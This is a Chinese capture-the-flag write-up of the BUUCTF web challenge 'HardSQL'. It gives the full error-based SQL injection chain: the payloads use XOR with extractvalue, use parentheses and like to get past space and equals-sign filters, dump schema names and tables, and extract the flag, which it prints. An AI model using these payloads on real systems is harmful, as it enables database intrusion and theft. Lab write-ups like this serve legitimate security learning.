BUUCTF Writeup-Web-[极客大挑战 2019]HardSQL 1

BUUCTF WriteUp

Web

[极客大挑战 2019]HardSQL 1

打开后提示sql注入，查看页面源代码：

发现是get两个参数username和password到check.php

因此可以直接用hackbar构造……/check.php?username=aaa&password=aaa，并执行就可以了。用burpsuite直接改数据也行。

然后开始注入，尝试加’、"

发现单引号有报错，双引号没有，没提示有括号，所以应该是普通单引号闭合的字符型注入点

出现这行字说明输入的被过滤，一个字符一个字符测试，发现如and/空格/union/select/=//**/等都被过滤了。

• 报错注入—>爆数据库名

check.php?username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(database()))))%23

​ 得到数据库名geek

• 爆表名：得到表名H4rDsq1

username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23
#语句主要用()绕过了空格，用like绕过了=号

• 爆列名：得到表名id/username/password

username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
#同上，语句不变改一下变量就行

• 找到flag

check.php?username=aaa&password=aaa'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23
#这里要注意！select aaa from table_bbb;不需要引号！！！！！

可是只显示了flag其中的一段。

剩下的用right()显示其他位数的

试了一下得到三段

flag{054a272b-b502-44b5-a7fa-a2

a272b-b502-44b5-a7fa-a22ba996591

fa-a22ba9965913}

去重拼贴起来得到：

flag{054a272b-b502-44b5-a7fa-a22ba9965913}